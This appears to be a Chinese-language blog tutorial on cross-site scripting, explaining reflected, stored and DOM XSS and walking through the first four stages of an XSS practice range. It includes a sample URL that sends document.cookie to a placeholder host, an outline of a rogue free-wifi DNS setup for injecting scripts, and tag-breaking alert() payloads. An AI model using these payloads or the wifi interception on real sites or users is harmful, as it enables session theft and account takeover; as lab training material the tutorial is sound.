初识XSS攻击 XSS Challenges闯关1-4

发布 : 2019-03-30

XSS定义

XSS, 即为(Cross Site Scripting), 中文名为跨站脚本, 是发生在目标用户的浏览器层面上的,当渲染DOM树的过程成发生了不在预期内执行的JS代码时,就发生了XSS攻击。

跨站脚本的重点不在‘跨站’上,而在于‘脚本’上。大多数XSS攻击的主要方式是嵌入一段远程或者第三方域上的JS代码。实际上是在目标网站的作用域下执行了这段js代码。

分类

  • 反射型XSS

  • 存储型XSS

  • DOM XSS

反射型XSS

例如在搜索框中搜索东西时,找到或者找不到时将显示提交的名称,在这时,如果提交的时候提交的时构造好的语句,并且网站对一些符号和关键词的过滤不严格,甚至不过滤,就会导致构造的语句在前端执行,例如语句

1
<script>alert('handsome boy')</script>

但这只是在自己网页上而已,但如果将构造好的查询语句通过某种方式进行群发,让别人点击,就可能获得他人的cookies,例如如下语句,仅是举例

1
http://www.xxxxxx.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

存储型xss

这种xss攻击的危害性更大,能够通过发表含有恶意跨站脚本的帖子或者文章,将其存储到服务器中,每当用户访问这个帖子或者文章时,就能触发,例如将这个帖子进行转发,这样就成为了XSS蠕虫,早在2011年,新浪微博就曾出现过一次比较大型的XSS攻击事件,通过使用户自动转发和发私信等方式进行传播。这也将可以将能够获取cookies的脚本发表在留言板中,当管理员查看留言时,就能获得他的cookies,从而获得管理员账号登陆的权限。

DOM XSS

基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。

例子1:

1.提供一个免费的wifi。

2.开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。

3.之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。

4.收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。

5.当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。

dom

XSS练习靶场

地址

这个靶场主要是让你了解集中简单的XSS语句的构造方式,通过插入网站中给定的语句来判定是否注入成功,一共有19关。

stage #1

首先输入123,点击search进行查看,确定回显的位置和标签,使用浏览器的F12审查元素功能,找到页面中123的位置,

1
"123"

于是构造xss攻击语句

1
"<script>alert("XSS")</script>

点击search后发现页面出现弹窗,于是将中间的js代码改成网站中所给的alert(document.domain);`,点击search后在页面下方会出现下一关的地址。

stage #2

刚开始的步骤和上面的一样,找到123位置的标签

通过闭合相关的标签来实现执行js语句

1
"><script>alert("ss")</script>

将中间的alert("ss")改为alert(document.domain);就可以得到下一关的地址

stage #3

1
2
3
"123"
in
Japan

构造

1
"<script>alert("sss")</script>

发现并没用什么作用,然后注意到,这个123 后面带着一个国家的字符串是和搜索内容同时提交的,因此可以通过抓包,修改包内容后提价来实现xss攻击,这里使用 burpsuite

拦截后发现网页提交的内容为p1=123&p2=Japan,这里p1的值前面已经试过,再试一试修改p2的值,

将p2的值改为如下值,会发现出现弹窗

1
<script>alert("sss")</script>

修改js语句即可获得下一关地址

stage #4

1
2
3
"123"
in
Japan

两个地方都修改试一试,但是拦截后出现了一个p3,并且它的值为hackme,因此推测修改这个可以。

1
2
3
p1="<script>alert("sss")</script>
p2=<script>alert("sss")</script>
p3=<script>alert("sss")</script>

但是修改后并没有什么事情发生,然后返回去看网页的代码,发现了一行隐藏属性

1
<input type="hidden" name="p3" value="hackme">

所以修改p3的值为

1
"><script>alert("sss")</script>

出现了 弹窗,修改js语句获得下一地址

XSS总结

XSS攻击的主要特点就是使用各种方法在目标网站上执行自己的脚本语句,然后通过脚本中的各种命令,来实现自己想要的结果。

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/15b91408.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!